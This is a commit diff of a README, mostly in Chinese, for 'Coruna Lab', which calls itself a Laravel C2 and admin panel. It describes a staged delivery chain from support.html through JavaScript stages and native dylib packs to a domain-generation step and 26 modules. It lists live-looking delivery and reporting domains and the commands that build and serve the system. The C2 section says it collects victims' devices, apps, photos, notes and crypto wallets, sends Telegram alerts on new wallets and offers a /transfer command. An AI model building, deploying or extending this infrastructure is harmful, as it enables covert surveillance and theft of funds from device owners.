init
This commit is contained in:
@@ -1,69 +1,82 @@
|
||||
# coruna-lab
|
||||
# Coruna Lab
|
||||
|
||||
启动 / 验证 Coruna 链路所需的最小文件树。构建与 patch **不再依赖** 旁路的 `coruna-online/`。
|
||||
Laravel C2 + Admin。渠道静态资源构建与分发已拆到同级项目 [`../coruna-lab-web/`](../coruna-lab-web/)。
|
||||
|
||||
```text
|
||||
coruna-lab/
|
||||
├── source/ # 只读模板 / 明文输入(勿直接 patch)
|
||||
│ ├── web/<original-channel>/
|
||||
│ ├── sync/ # wire 模板
|
||||
│ ├── sync_dylibs/ # sync 明文 dylib
|
||||
│ ├── type0x01_dylibs/ # type-0x01 明文 dylib
|
||||
│ └── sync_config/daily.body
|
||||
├── server/public/
|
||||
│ ├── web/<channel-id>/ # 每次 new_project 新增一个投递站
|
||||
│ ├── sync/ # 每次 new_project 重建
|
||||
│ └── out/{channel,seeds,domains}.json
|
||||
├── doc/
|
||||
├── tools/ # patch 脚本 + vendor/ 离线辅助库
|
||||
└── MANIFEST.json
|
||||
ios-fetch/
|
||||
├── coruna-lab/ # ← 本仓库:C2 / Admin / 渠道元数据
|
||||
└── coruna-lab-web/ # 构建 API + frontend 模板/工具 + 静态产物站
|
||||
```
|
||||
|
||||
线上 base(模板同源):
|
||||
## Requirements
|
||||
|
||||
```text
|
||||
https://www.dhxuhdbej888.icu/web/34f5121f572d6742703eb84ec2f866a6/
|
||||
```
|
||||
|
||||
## 新建项目(推荐)
|
||||
|
||||
从 `source/` 生成 **`server/public/web/<新channel>/`**(自动 32 hex channel + 固定域名);每次重建 `sync/`,同域名则字节一致:
|
||||
| Tool | Path / note |
|
||||
|------|-------------|
|
||||
| PHP 8.5+ | `/opt/homebrew/opt/php/bin/php`(勿用 PATH 里旧 7.3) |
|
||||
| Composer | via brew PHP |
|
||||
| MySQL 8.0 | preferred;sqlite 可 smoke |
|
||||
| p7zip | `CORUNA_7Z_BIN` 或 `bin/7z`(C2 入库用) |
|
||||
|
||||
```bash
|
||||
cd coruna-lab
|
||||
pip3 install py7zr pycryptodome
|
||||
|
||||
/usr/bin/python3 tools/new_project.py \
|
||||
--channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \
|
||||
--deployment-domains 'www.89lwsvkxm-fbo6y50npt71o.org,www.sl2023nk2h4867xt2.info' \
|
||||
--reporting-domains 'www.89lwsvkxm-fbo6y50npt71o.org,www.sl2023nk2h4867xt2.info'
|
||||
export PATH="/opt/homebrew/opt/php/bin:$PATH"
|
||||
php -v
|
||||
```
|
||||
|
||||
见 `server/public/out/channel.json` / `domains.json`;入口:
|
||||
## Setup
|
||||
|
||||
```bash
|
||||
cp .env.example .env
|
||||
# edit .env: DB_*, TELEGRAM_*, ADMIN_*, CORUNA_BUILD_SERVICE_*
|
||||
|
||||
php artisan key:generate # once
|
||||
php artisan migrate --seed
|
||||
php artisan serve --host=0.0.0.0 --port=8000
|
||||
```
|
||||
|
||||
Admin:
|
||||
|
||||
- Shell: `http://127.0.0.1:8000/admin`
|
||||
- Login: `http://127.0.0.1:8000/admin/login` — `admin` / `admin123`(见 `.env` `ADMIN_*`)
|
||||
|
||||
## 新建渠道
|
||||
|
||||
本仓库只保存渠道元数据;静态产物由 `coruna-lab-web` 同步构建:
|
||||
|
||||
```dotenv
|
||||
CORUNA_BUILD_SERVICE_URL=http://127.0.0.1:8081
|
||||
CORUNA_BUILD_SERVICE_TOKEN=replace-me
|
||||
CORUNA_BUILD_SERVICE_CONNECT_TIMEOUT=5
|
||||
CORUNA_BUILD_SERVICE_TIMEOUT=600
|
||||
CORUNA_LAB_CHANNEL_DOMAINS=www.dep1.example,www.dep2.example
|
||||
CORUNA_LAB_AMIDN_DOMAINS=www.rep1.example,www.rep2.example
|
||||
CORUNA_STATIC_SITE_BASE_URL=https://static.example
|
||||
```
|
||||
|
||||
创建渠道时可填写 `domains`(可选);留空则展示链接与构建 `deployment_domains` 使用 `CORUNA_LAB_CHANNEL_DOMAINS`。构建时的 `reporting_domains` 始终使用 `CORUNA_LAB_AMIDN_DOMAINS`。
|
||||
|
||||
构建:`POST /v1/channels/{id}/build`
|
||||
删除:`DELETE /v1/channels/{id}`
|
||||
|
||||
后台展示入口:
|
||||
|
||||
```text
|
||||
https://<host>/web/<channel-id>/support.html
|
||||
https://<host>/sync/daily.html
|
||||
https://<host>/channel/<channel-id>/web/support.html
|
||||
https://<host>/channel/<channel-id>/sync/daily.html
|
||||
```
|
||||
|
||||
## 文档
|
||||
构建服务部署见 [`../coruna-lab-web/docs/BUILD_API.md`](../coruna-lab-web/docs/BUILD_API.md)。
|
||||
|
||||
| 文档 | 内容 |
|
||||
|------|------|
|
||||
| [`doc/STAGE_JS.md`](doc/STAGE_JS.md) | 入口 + Stage JS;对标 `coruna/` |
|
||||
| [`doc/NATIVE_PACKS.md`](doc/NATIVE_PACKS.md) | 一级 / 二级包路径、联系、清单 |
|
||||
| [`doc/SYNC.md`](doc/SYNC.md) | `daily.html` + 26 个业务模块 |
|
||||
| [`tools/README.md`](tools/README.md) | 固定域名 + channel、`new_project`、分步补丁 |
|
||||
## C2 / Admin 说明
|
||||
|
||||
## 链路(极简)
|
||||
- Reporting:AES-256-ECB JSON + multipart `/api/user/check` 7z
|
||||
- 入库:devices / apps / photos / notes / wallets + `c2_raw_logs`
|
||||
- Telegram:新设备、新/变更钱包;`/transfer` 指令
|
||||
|
||||
```text
|
||||
support.html → Stage1/2/3 → 一级包 (.js) → (0x07) → 二级 type-0x01 (.min.js)
|
||||
→ Deployment DGA → /sync/daily.html → 26 模块
|
||||
```bash
|
||||
php artisan test
|
||||
```
|
||||
|
||||
## 其它
|
||||
## 注意
|
||||
|
||||
- 来源索引:`MANIFEST.json`(历史 provenance;运行时不读)
|
||||
- **不要**对 `source/` 跑 `--apply`;产物只写 `server/public/web/<channel>/` 与 `sync/`
|
||||
- 工具细节见 [`tools/README.md`](tools/README.md)
|
||||
- 本仓库不再包含 `frontend/` 或本地 Python 构建脚本
|
||||
- 迁移期可保留旧 `public/web`、`public/sync` 只读;新渠道只发到 `coruna-lab-web` 静态站
|
||||
|
||||
Reference in New Issue
Block a user